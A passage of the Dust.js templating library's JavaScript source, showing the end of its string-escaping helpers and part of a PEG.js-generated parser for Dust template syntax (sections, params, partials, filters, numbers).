.replace(PS, '\\u2029')
.replace(NL, '\\n')
.replace(LF, '\\f')
.replace(TB, '\\t');
}
return s;
};
dust.escapeJSON = function(o) {
if (!JSON) {
dust.log('JSON is undefined; could not escape `' + o +
'`', WARN);
return o;
} else {
return JSON.stringify(o)
.replace(LS, '\\u2028')
.replace(PS, '\\u2029')
.replace(LT, '\\u003c');
}
};
return dust;
}));
(function(root, factory) {
if (typeof define === "function" && define.amd
&& define.amd.dust === true) {
define("dust.parse", ["dust.core"], function(dust)
{
return factory(dust).parse;
});
} else if (typeof exports === 'object') {
// in Node, require this file if we want to use the parser as a
standalone module
module.exports = factory(require('./dust'));
// @see server file for parser methods exposed in node
} else {
// in the browser, store the factory output if we want to use the
parser directly
factory(root.dust);
}
}(this, function(dust) {
var parser = (function() {
/*
* Generated by PEG.js 0.8.0.
*
* http://pegjs.majda.cz/
*/
function peg$subclass(child, parent) {
function ctor() { this.constructor = child; }
ctor.prototype = parent.prototype;
child.prototype = new ctor();
}
function SyntaxError(message, expected, found, offset, line, column) {
this.message = message;
this.expected = expected;
this.found = found;
this.offset = offset;
this.line = line;
this.column = column;
this.name = "SyntaxError";
}
peg$subclass(SyntaxError, Error);
function parse(input) {
var options = arguments.length > 1 ? arguments[1] : {},
peg$FAILED = {},
peg$startRuleFunctions = { start: peg$parsestart },
peg$startRuleFunction = peg$parsestart,
peg$c0 = [],
peg$c1 = function(p) {
var body = ["body"].concat(p);
return withPosition(body);
},
peg$c2 = { type: "other", description:
"section" },
peg$c3 = peg$FAILED,
peg$c4 = null,
peg$c5 = function(t, b, e, n) {
if( (!n) || (t[1].text !== n.text) ) {
error("Expected end tag for "+t[1].text+" but
it was not found.");
}
return true;
},
peg$c6 = void 0,
peg$c7 = function(t, b, e, n) {
e.push(["param", ["literal",
"block"], b]);
t.push(e, ["filters"]);
return withPosition(t)
},
peg$c8 = "/",
peg$c9 = { type: "literal", value: "/",
description: "\"/\"" },
peg$c10 = function(t) {
t.push(["bodies"], ["filters"]);
return withPosition(t)
},
peg$c11 = /^[#?\^<+@%]/,
peg$c12 = { type: "class", value:
"[#?\\^<+@%]", description: "[#?\\^<+@%]" },
peg$c13 = function(t, n, c, p) { return [t, n, c, p] },
peg$c14 = { type: "other", description: "end
tag" },
peg$c15 = function(n) { return n },
peg$c16 = ":",
peg$c17 = { type: "literal", value: ":",
description: "\":\"" },
peg$c18 = function(n) {return n},
peg$c19 = function(n) { return n ? ["context", n] :
["context"] },
peg$c20 = { type: "other", description:
"params" },
peg$c21 = "=",
peg$c22 = { type: "literal", value: "=",
description: "\"=\"" },
peg$c23 = function(k, v) {return ["param",
["literal", k], v]},
peg$c24 = function(p) { return ["params"].concat(p) },
peg$c25 = { type: "other", description:
"bodies" },
peg$c26 = function(p) { return ["bodies"].concat(p) },
peg$c27 = { type: "other", description:
"reference" },
peg$c28 = function(n, f) { return
withPosition(["reference", n, f]) },
peg$c29 = { type: "other", description:
"partial" },
peg$c30 = ">",
peg$c31 = { type: "literal", value: ">",
description: "\">\"" },
peg$c32 = "+",
peg$c33 = { type: "literal", value: "+",
description: "\"+\"" },
peg$c34 = function(k) {return ["literal", k]},
peg$c35 = function(s, n, c, p) {
var key = (s === ">") ? "partial" : s;
return withPosition([key, n, c, p])
},
peg$c36 = { type: "other", description:
"filters" },
peg$c37 = "|",
peg$c38 = { type: "literal", value: "|",
description: "\"|\"" },
peg$c39 = function(f) { return ["filters"].concat(f) },
peg$c40 = { type: "other", description:
"special" },
peg$c41 = "~",
peg$c42 = { type: "literal", value: "~",
description: "\"~\"" },
peg$c43 = function(k) { return withPosition(["special",
k]) },
peg$c44 = { type: "other", description:
"identifier" },
peg$c45 = function(p) {
var arr = ["path"].concat(p);
arr.text =
p[1].join('.').replace(/,line,\d+,col,\d+/g,'');
return arr;
},
peg$c46 = function(k) {
var arr = ["key", k];
arr.text = k;
return arr;
},
peg$c47 = { type: "other", description:
"number" },
peg$c48 = function(n) { return ['literal', n]; },
peg$c49 = { type: "other", description: "float"
},
peg$c50 = ".",
peg$c51 = { type: "literal", value: ".",
description: "\".\"" },
peg$c52 = function(l, r) { return parseFloat(l + "." +
r); },
peg$c53 = { type: "other", description:
"unsigned_integer" },
peg$c54 = /^[0-9]/,
peg$c55 = { type: "class", value: "[0-9]",
description: "[0-9]" },
peg$c56 = function(digits) { return makeInteger(digits); },
peg$c57 = { type: "other", description:
"signed_integer" },
peg$c58 = "-",
peg$c59 = { type: "literal", value: "-",
description: "\"-\"" },
peg$c60 = function(sign, n) { return n * -1; },
peg$c61 = { type: "other", description:
"integer" },
peg$c62 = { type: "other", description: "path"
},
peg$c63 = function(k, d) {
d = d[0];
if (k && d) {
d.unshift(k);
return withPosition([false, d])
}
return withPosition([true, d])
},
peg$c64 = function(d) {
if (d.length > 0) {
return withPosition([true, d[0]])
}
return withPosition([true, []])
},
peg$c65 = { type: "other", description: "key"
},
peg$c66 = /^[a-zA-Z_$]/,
peg$c67 = { type: "class", value: "[a-zA-Z_$]",
description: "[a-zA-Z_$]" },
peg$c68 = /^[0-9a-zA-Z_$\-]/,
peg$c69 = { type: "class", value:
"[0-9a-zA-Z_$\\-]", description: "[0-9a-zA-Z_$\\-]" },
peg$c70 = function(h, t) { return h + t.join('') },
peg$c71 = { type: "other", description: "array"
},
peg$c72 = function(n) {return n.join('')},
peg$c73 = function(a) {return a; },
peg$c74 = function(i, nk) { if(nk) { nk.unshift(i); } else {nk =
[i] } return nk; },
peg$c75 = { type: "other", description:
"array_part" },
peg$c76 = function(k) {return k},
peg$c77 = function(d, a) { if (a) { return d.concat(a); } else {
return d; } },
peg$c78 = { type: "other", description:
"inline" },
peg$c79 = "\"",
peg$c80 = { type: "literal", value: "\"",
description: "\"\\\"\"" },
peg$c81 = function() { return withPosition(["literal",
""]) },
peg$c82 = function(l) { return withPosition(["literal",
l]) },
peg$c83 = function(p) { return
withPosition(["body"].concat(p)) },
peg$c84 = function(l) { return ["buffer", l] },
peg$c85 = { type: "other", description:
"buffer" },
peg$c86 = function(e, w) { return withPosition(["format",
e, w.join('')]) },
peg$c87 = { type: "any", description: "any
character" },
peg$c88 = function(c) {return c},
peg$c89 = function(b) { return withPosition(["buffer",
b.join('')]) },
peg$c90 = { type: "other", description:
"literal" },
peg$c91 = /^[^"]/,
peg$c92 = { type: "class", value: "[^\"]",
description: "[^\"]" },
peg$c93 = function(b) { return b.join('') },
peg$c94 = "\\\"",
peg$c95 = { type: "literal", value:
"\\\"", description: "\"\\\\\\\"\""
},
peg$c96 = function() { return '"' },
peg$c97 = { type: "other", description: "raw"
},
peg$c98 = "{`",
peg$c99 = { type: "literal", value: "{`",
description: "\"{`\"" },
peg$c100 = "`}",
peg$c101 = { type: "literal", value: "`}",
description: "\"`}\"" },
peg$c102 = function(character) {return character},
peg$c103 = function(rawText) { return
withPosition(["raw", rawText.join('')]) },
peg$c104 = { type: "other", description:
"comment" },
peg$c105 = "{!",
peg$c106 = { type: "literal", value: "{!",
description: "\"{!\"" },
peg$c107 = "!}",
peg$c108 = { type: "literal", value: "!}",
description: "\"!}\"" },
peg$c109 = function(c) { return withPosition(["comment",
c.join('')]) },
peg$c110 = /^[#?\^><+%:@\/~%]/,
peg$c111 = { type: "class", value:
"[#?\\^><+%:@\\/~%]", description:
"[#?\\^><+%:@\\/~%]" },
peg$c112 = "{",
peg$c113 = { type: "literal", value: "{",
description: "\"{\"" },
peg$c114 = "}",
peg$c115 = { type: "literal", value: "}",
description: "\"}\"" },
peg$c116 = "[",
peg$c117 = { type: "literal", value: "[",
description: "\"[\"" },
peg$c118 = "]",
peg$c119 = { type: "literal", value: "]",
description: "\"]\"" },
peg$c120 = "\n",
peg$c121 = { type: "literal", value: "\n",
description: "\"\\n\"" },
peg$c122 = "\r\n",
peg$c123 = { type: "literal", value: "\r\n",
description: "\"\\r\\n\"" },
peg$c124 = "\r",
peg$c125 = { type: "literal", value: "\r",
description: "\"\\r\"" },
peg$c126 = "\u2028",
peg$c127 = { type: "literal", value: "\u2028",
description: "\"\\u2028\"" },
peg$c128 = "\u2029",
peg$c129 = { type: "literal", value: "\u2029",
description: "\"\\u2029\"" },
peg$c130 = /^[\t\x0B\f \xA0\uFEFF]/,
peg$c131 = { type: "class", value: "[\\t\\x0B\\f
\\xA0\\uFEFF]", description: "[\\t\\x0B\\f \\xA0\\uFEFF]" },
peg$currPos = 0,
peg$reportedPos = 0,
peg$cachedPos = 0,
peg$cachedPosDetails = { line: 1, column: 1, seenCR: false },
peg$maxFailPos = 0,
peg$maxFailExpected = [],
peg$silentFails = 0,
peg$result;
if ("startRule" in options) {
if (!(options.startRule in peg$startRuleFunctions)) {
throw new Error("Can't start parsing from rule
\"" + options.startRule + "\".");
}
peg$startRuleFunction = peg$startRuleFunctions[options.startRule];
}
function text() {
return input.substring(peg$reportedPos, peg$currPos);
}
function offset() {
return peg$reportedPos;
}
function line() {
return peg$computePosDetails(peg$reportedPos).line;
}
function column() {
return peg$computePosDetails(peg$reportedPos).column;
}
function expected(description) {
throw peg$buildException(
null,
[{ type: "other", description: description }],
peg$reportedPos
);
}
function error(message) {
throw peg$buildException(message, null, peg$reportedPos);
}
function peg$computePosDetails(pos) {
function advance(details, startPos, endPos) {
var p, ch;
for (p = startPos; p < endPos; p++) {
ch = input.charAt(p);
if (ch === "\n") {
if (!details.seenCR) { details.line++; }
details.column = 1;
details.seenCR = false;
} else if (ch === "\r" || ch === "\u2028" ||
ch === "\u2029") {
details.line++;
details.column = 1;
details.seenCR = true;
} else {
details.column++;
details.seenCR = false;
}
}
}
if (peg$cachedPos !== pos) {
if (peg$cachedPos > pos) {
peg$cachedPos = 0;
peg$cachedPosDetails = { line: 1, column: 1, seenCR: false };
}
advance(peg$cachedPosDetails, peg$cachedPos, pos);
peg$cachedPos = pos;
}
return peg$cachedPosDetails;
}
function peg$fail(expected) {
if (peg$currPos < peg$maxFailPos) { return; }
if (peg$currPos > peg$maxFailPos) {
peg$maxFailPos = peg$currPos;
peg$maxFailExpected = [];
}
peg$maxFailExpected.push(expected);
}
function peg$buildException(message, expected, pos) {
function cleanupExpected(expected) {
var i = 1;
expected.sort(function(a, b) {
if (a.description < b.description) {
return -1;
} else if (a.description > b.description) {
return 1;
} else {
return 0;
}
});
while (i < expected.length) {
if (expected[i - 1] === expected[i]) {
expected.splice(i, 1);
} else {
i++;
}
}
}
function buildMessage(expected, found) {
function stringEscape(s) {
function hex(ch) { return
ch.charCodeAt(0).toString(16).toUpperCase(); }
return s
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\x08/g, '\\b')
.replace(/\t/g, '\\t')
.replace(/\n/g, '\\n')
.replace(/\f/g, '\\f')
.replace(/\r/g, '\\r')
.replace(/[\x00-\x07\x0B\x0E\x0F]/g, function(ch) { return
'\\x0' + hex(ch); })
.replace(/[\x10-\x1F\x80-\xFF]/g, function(ch) { return
'\\x' + hex(ch); })
.replace(/[\u0180-\u0FFF]/g, function(ch) { return
'\\u0' + hex(ch); })
.replace(/[\u1080-\uFFFF]/g, function(ch) { return
'\\u' + hex(ch); });
}
var expectedDescs = new Array(expected.length),
expectedDesc, foundDesc, i;
for (i = 0; i < expected.length; i++) {
expectedDescs[i] = expected[i].description;
}
expectedDesc = expected.length > 1
? expectedDescs.slice(0, -1).join(", ")
+ " or "
+ expectedDescs[expected.length - 1]
: expectedDescs[0];
foundDesc = found ? "\"" + stringEscape(found) +
"\"" : "end of input";
return "Expected " + expectedDesc + " but " +
foundDesc + " found.";
}
var posDetails = peg$computePosDetails(pos),
found = pos < input.length ? input.charAt(pos) : null;
if (expected !== null) {
cleanupExpected(expected);
}
return new SyntaxError(
message !== null ? message : buildMessage(expected, found),
expected,
found,
pos,
posDetails.line,
posDetails.column
);
}
function peg$parsestart() {
var s0;
s0 = peg$parsebody();
return s0;
}
function peg$parsebody() {
var s0, s1, s2;
s0 = peg$currPos;
s1 = [];
s2 = peg$parsepart();
while (s2 !== peg$FAILED) {
s1.push(s2);
s2 = peg$parsepart();
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c1(s1);
}
s0 = s1;
return s0;
}
function peg$parsepart() {
var s0;
s0 = peg$parseraw();
if (s0 === peg$FAILED) {
s0 = peg$parsecomment();
if (s0 === peg$FAILED) {
s0 = peg$parsesection();
if (s0 === peg$FAILED) {
s0 = peg$parsepartial();
if (s0 === peg$FAILED) {
s0 = peg$parsespecial();
if (s0 === peg$FAILED) {
s0 = peg$parsereference();
if (s0 === peg$FAILED) {
s0 = peg$parsebuffer();
}
}
}
}
}
}
return s0;
}
function peg$parsesection() {
var s0, s1, s2, s3, s4, s5, s6, s7;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parsesec_tag_start();
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$parsews();
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$parsews();
}
if (s2 !== peg$FAILED) {
s3 = peg$parserd();
if (s3 !== peg$FAILED) {
s4 = peg$parsebody();
if (s4 !== peg$FAILED) {
s5 = peg$parsebodies();
if (s5 !== peg$FAILED) {
s6 = peg$parseend_tag();
if (s6 === peg$FAILED) {
s6 = peg$c4;
}
if (s6 !== peg$FAILED) {
peg$reportedPos = peg$currPos;
s7 = peg$c5(s1, s4, s5, s6);
if (s7) {
s7 = peg$c6;
} else {
s7 = peg$c3;
}
if (s7 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c7(s1, s4, s5, s6);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
if (s0 === peg$FAILED) {
s0 = peg$currPos;
s1 = peg$parsesec_tag_start();
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$parsews();
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$parsews();
}
if (s2 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 47) {
s3 = peg$c8;
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c9); }
}
if (s3 !== peg$FAILED) {
s4 = peg$parserd();
if (s4 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c10(s1);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c2); }
}
return s0;
}
function peg$parsesec_tag_start() {
var s0, s1, s2, s3, s4, s5, s6;
s0 = peg$currPos;
s1 = peg$parseld();
if (s1 !== peg$FAILED) {
if (peg$c11.test(input.charAt(peg$currPos))) {
s2 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c12); }
}
if (s2 !== peg$FAILED) {
s3 = [];
s4 = peg$parsews();
while (s4 !== peg$FAILED) {
s3.push(s4);
s4 = peg$parsews();
}
if (s3 !== peg$FAILED) {
s4 = peg$parseidentifier();
if (s4 !== peg$FAILED) {
s5 = peg$parsecontext();
if (s5 !== peg$FAILED) {
s6 = peg$parseparams();
if (s6 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c13(s2, s4, s5, s6);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
return s0;
}
function peg$parseend_tag() {
var s0, s1, s2, s3, s4, s5, s6;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parseld();
if (s1 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 47) {
s2 = peg$c8;
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c9); }
}
if (s2 !== peg$FAILED) {
s3 = [];
s4 = peg$parsews();
while (s4 !== peg$FAILED) {
s3.push(s4);
s4 = peg$parsews();
}
if (s3 !== peg$FAILED) {
s4 = peg$parseidentifier();
if (s4 !== peg$FAILED) {
s5 = [];
s6 = peg$parsews();
while (s6 !== peg$FAILED) {
s5.push(s6);
s6 = peg$parsews();
}
if (s5 !== peg$FAILED) {
s6 = peg$parserd();
if (s6 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c15(s4);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c14); }
}
return s0;
}
function peg$parsecontext() {
var s0, s1, s2, s3;
s0 = peg$currPos;
s1 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 58) {
s2 = peg$c16;
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c17); }
}
if (s2 !== peg$FAILED) {
s3 = peg$parseidentifier();
if (s3 !== peg$FAILED) {
peg$reportedPos = s1;
s2 = peg$c18(s3);
s1 = s2;
} else {
peg$currPos = s1;
s1 = peg$c3;
}
} else {
peg$currPos = s1;
s1 = peg$c3;
}
if (s1 === peg$FAILED) {
s1 = peg$c4;
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c19(s1);
}
s0 = s1;
return s0;
}
function peg$parseparams() {
var s0, s1, s2, s3, s4, s5, s6;
peg$silentFails++;
s0 = peg$currPos;
s1 = [];
s2 = peg$currPos;
s3 = [];
s4 = peg$parsews();
if (s4 !== peg$FAILED) {
while (s4 !== peg$FAILED) {
s3.push(s4);
s4 = peg$parsews();
}
} else {
s3 = peg$c3;
}
if (s3 !== peg$FAILED) {
s4 = peg$parsekey();
if (s4 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 61) {
s5 = peg$c21;
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c22); }
}
if (s5 !== peg$FAILED) {
s6 = peg$parsenumber();
if (s6 === peg$FAILED) {
s6 = peg$parseidentifier();
if (s6 === peg$FAILED) {
s6 = peg$parseinline();
}
}
if (s6 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c23(s4, s6);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
while (s2 !== peg$FAILED) {
s1.push(s2);
s2 = peg$currPos;
s3 = [];
s4 = peg$parsews();
if (s4 !== peg$FAILED) {
while (s4 !== peg$FAILED) {
s3.push(s4);
s4 = peg$parsews();
}
} else {
s3 = peg$c3;
}
if (s3 !== peg$FAILED) {
s4 = peg$parsekey();
if (s4 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 61) {
s5 = peg$c21;
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c22); }
}
if (s5 !== peg$FAILED) {
s6 = peg$parsenumber();
if (s6 === peg$FAILED) {
s6 = peg$parseidentifier();
if (s6 === peg$FAILED) {
s6 = peg$parseinline();
}
}
if (s6 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c23(s4, s6);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c24(s1);
}
s0 = s1;
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c20); }
}
return s0;
}
function peg$parsebodies() {
var s0, s1, s2, s3, s4, s5, s6, s7;
peg$silentFails++;
s0 = peg$currPos;
s1 = [];
s2 = peg$currPos;
s3 = peg$parseld();
if (s3 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 58) {
s4 = peg$c16;
peg$currPos++;
} else {
s4 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c17); }
}
if (s4 !== peg$FAILED) {
s5 = peg$parsekey();
if (s5 !== peg$FAILED) {
s6 = peg$parserd();
if (s6 !== peg$FAILED) {
s7 = peg$parsebody();
if (s7 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c23(s5, s7);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
while (s2 !== peg$FAILED) {
s1.push(s2);
s2 = peg$currPos;
s3 = peg$parseld();
if (s3 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 58) {
s4 = peg$c16;
peg$currPos++;
} else {
s4 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c17); }
}
if (s4 !== peg$FAILED) {
s5 = peg$parsekey();
if (s5 !== peg$FAILED) {
s6 = peg$parserd();
if (s6 !== peg$FAILED) {
s7 = peg$parsebody();
if (s7 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c23(s5, s7);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c26(s1);
}
s0 = s1;
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c25); }
}
return s0;
}
function peg$parsereference() {
var s0, s1, s2, s3, s4;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parseld();
if (s1 !== peg$FAILED) {
s2 = peg$parseidentifier();
if (s2 !== peg$FAILED) {
s3 = peg$parsefilters();
if (s3 !== peg$FAILED) {
s4 = peg$parserd();
if (s4 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c28(s2, s3);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c27); }
}
return s0;
}
function peg$parsepartial() {
var s0, s1, s2, s3, s4, s5, s6, s7, s8, s9;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parseld();
if (s1 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 62) {
s2 = peg$c30;
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c31); }
}
if (s2 === peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 43) {
s2 = peg$c32;
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c33); }
}
}
if (s2 !== peg$FAILED) {
s3 = [];
s4 = peg$parsews();
while (s4 !== peg$FAILED) {
s3.push(s4);
s4 = peg$parsews();
}
if (s3 !== peg$FAILED) {
s4 = peg$currPos;
s5 = peg$parsekey();
if (s5 !== peg$FAILED) {
peg$reportedPos = s4;
s5 = peg$c34(s5);
}
s4 = s5;
if (s4 === peg$FAILED) {
s4 = peg$parseinline();
}
if (s4 !== peg$FAILED) {
s5 = peg$parsecontext();
if (s5 !== peg$FAILED) {
s6 = peg$parseparams();
if (s6 !== peg$FAILED) {
s7 = [];
s8 = peg$parsews();
while (s8 !== peg$FAILED) {
s7.push(s8);
s8 = peg$parsews();
}
if (s7 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 47) {
s8 = peg$c8;
peg$currPos++;
} else {
s8 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c9); }
}
if (s8 !== peg$FAILED) {
s9 = peg$parserd();
if (s9 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c35(s2, s4, s5, s6);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c29); }
}
return s0;
}
function peg$parsefilters() {
var s0, s1, s2, s3, s4;
peg$silentFails++;
s0 = peg$currPos;
s1 = [];
s2 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 124) {
s3 = peg$c37;
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c38); }
}
if (s3 !== peg$FAILED) {
s4 = peg$parsekey();
if (s4 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c18(s4);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
while (s2 !== peg$FAILED) {
s1.push(s2);
s2 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 124) {
s3 = peg$c37;
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c38); }
}
if (s3 !== peg$FAILED) {
s4 = peg$parsekey();
if (s4 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c18(s4);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c39(s1);
}
s0 = s1;
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c36); }
}
return s0;
}
function peg$parsespecial() {
var s0, s1, s2, s3, s4;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parseld();
if (s1 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 126) {
s2 = peg$c41;
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c42); }
}
if (s2 !== peg$FAILED) {
s3 = peg$parsekey();
if (s3 !== peg$FAILED) {
s4 = peg$parserd();
if (s4 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c43(s3);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c40); }
}
return s0;
}
function peg$parseidentifier() {
var s0, s1;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parsepath();
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c45(s1);
}
s0 = s1;
if (s0 === peg$FAILED) {
s0 = peg$currPos;
s1 = peg$parsekey();
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c46(s1);
}
s0 = s1;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c44); }
}
return s0;
}
function peg$parsenumber() {
var s0, s1;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parsefloat();
if (s1 === peg$FAILED) {
s1 = peg$parseinteger();
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c48(s1);
}
s0 = s1;
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c47); }
}
return s0;
}
function peg$parsefloat() {
var s0, s1, s2, s3;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parseinteger();
if (s1 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 46) {
s2 = peg$c50;
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c51); }
}
if (s2 !== peg$FAILED) {
s3 = peg$parseunsigned_integer();
if (s3 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c52(s1, s3);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
